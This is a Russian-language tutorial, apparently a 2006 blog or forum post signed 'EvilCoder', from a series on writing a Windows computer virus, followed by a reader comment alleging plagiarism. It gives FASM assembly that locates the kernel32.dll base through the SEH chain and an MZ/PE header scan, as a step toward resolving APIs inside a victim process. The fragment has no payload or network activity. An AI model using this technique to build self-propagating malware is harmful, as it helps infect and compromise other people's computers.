В предыдущей статье мы разобрались с общей структурой вируса. Познакомились с понятием Дельта смещения. Это был первый этап адаптации вируса в теле жертвы. Теперь приступим к поиску Адресов API функций. API – это функции ОС, без которых не возможно взаимодействие с системой (а без этого никак). Наш код находится в рамках ОС и мы вынуждены подчинятся ее требованиям. API функции находятся в различных библиотеках (*.dll) для вызова любой функции необходимо сперва загрузить библиотеку и только после пользоваться ее функциями. Однако, ОС Windows устроена таким образом, что к каждому процессу (запущенной программе) кроме необходимых для ее работы, подгружаются и основные библиотеки которые являются частью Ядра ОС. Вирусу достаточно функций одной библиотеки
«kernel32.dll» которая является основной для всех процессов. Таким образом, наша задача найти адреса необходимых нам функций внутри этой библиотеки. Для реализации этой задачи мы рассмотрим пример. Автором этого метода я не являюсь и даже не знаю кто его составил (огромное ему спасибо) однако этот метод является широко распространенным. И так приступим.
Начнем с теории. Как и всякая библиотека kernel32.dll является файлом формата РЕ (в документации по «РЕ» об этом было сказано ;-) У каждой библиотеки есть таблица экспорта, где расположена необходимая информация о всех «экспортируемых библиотекой функциях». Значит необходимо найти эту таблицу в Kernel32.dll для этого необходимо обратиться к РЕ заголовку библиотеки. Итого, мы должны найти образ библиотеке в памяти. Т.к. библиотека уже загружена, она находится в адресном пространстве текущего процесс (жертвы – т.е. вируса). Из структуры SEH (что это такое, в приделы цикла не входит. Гугл рулит) берется «произвольный адрес» находящийся в kernel32.dll. (вы поймите правильно, все что я «упуская» знать желательно и даже обязательно, но не входит в пределы задачи написания вируса) Вот нам абсолютно без разницы что такое SEH и зачем он нужен, и куда именно указывает этот адрес в ней, здесь важно только знать что нам это поможет для реализации поставленной цели.
Тем не менее, SEH – это структура обработчика исключений (исключения – это ошибки возникающие в ходе выполнения программы) При возникновении ошибки в программе ОС необходимо обработать это исключение для этого она обращается в SEH, в ней расположен адрес «обработчика по умолчанию» который находится где то в библиотеки кернел. Начнем кодить:
_ReadSEH: xor edx,edx ; обнуляем EDX=0 db 64h,8Bh,02h ; mov eax,FS:[edx] (просто ФАСМ не понял такой конструкции и пришлось писать побайтно :-/) dec edx ; EDX = FFFFFFFFh _SrchKernelSEH: cmp [eax],edx ; IF 1ый SHE=Kernel(SEH) je _GetAddrInK ; TRUE адрес внутри кернел найден. Переходим к поиску Заголовка РЕ Kernel mov eax,dword [eax] ; ищем Kernel SEH jmp _SrchKernelSEH ; цикл
Мы нашли «какой то» адрес внутри Kernel, теперь надо найти вершину (заголовок) Т.к. библиотека загружается в страницу памяти ее адрес кратен 64кб.
_GetAddrInK: mov eax,[eax+4] ; Адрес «ExepProc»(Kernel) в SEH xor ax,ax ; Кратно 64кб = 10000h _SearchMZ: mov edx,[eax] ; EDX=DWORD [начало страницы (Kernel)] cmp dx,5A4Dh ; "MZ" ; Если WORD="MZ" je _CheckPE ; TRUE Kernel База найдена sub eax,10000h ; EAX=EAX-10000h (след страница) jmp _SearchMZ ; Цикл "поиск KernelBase" _CheckPE: xor edx,edx ; Дополнительна проверка mov edx,[eax+3Ch] ; Кернела на фрмат PE EXE cmp dword [eax+edx],4550h ; "PE" jne _ApiExit ; КРАХ! Выход! – облом всего метода ;-) на всякий случай.
Далее следует поиск таблицы экспорта и вычисление ХЕШ значений ... Весь код следует рассматривать как отдельный блок, который выполняется нужные нам действия. Для его работы необходимо следующее: Перед его выполнение в стек необходимо поместить Адрес «Дельта смещения». (push edx) в EDX дельта смещение. Нужно составить таблицу необходимых нам функций. Это таблица представляет из себя 32 битный ХЕШ имени функции. На каждую функцию – одно ХЕШ значение. Я привел только кусок кода. Весь код находится (ссылка внизу). По ссылки расположен готовый *.asm файл. Вам следует внимательно изучить исходники, и скомпилировав проверить его в Ollydbg. Я более чем уверен что без дополнительных пояснений вам придется тяжело, поэтому я всегда готов ответить на ваши вопросы. (форум ;-))
Готовый исходник для изучения. ;-)
© EvilCoder 09.04.2006
Смысл переделовать статьи настоящий мастеров!
Да и к тому же эзать их код:
_SearchMZ:
mov edx,[eax] ; EDX=DWORD [начало страницы (Kernel)]
cmp dx,5A4Dh ; "MZ" ; Если WORD="MZ"
je _CheckPE ; TRUE Kernel База найдена
sub eax,10000h ; EAX=EAX-10000h (след страница)
jmp _SearchMZ ; Цикл "поиск KernelBase"
_CheckPE:
xor edx,edx ; Дополнительна проверка
mov edx,[eax+3Ch] ; Кернела на фрмат PE EXE
cmp dword [eax+edx],4550h ; "PE"
jne _ApiExit ; КРАХ! Выход! – облом всего метода ;-) на
всякий случай.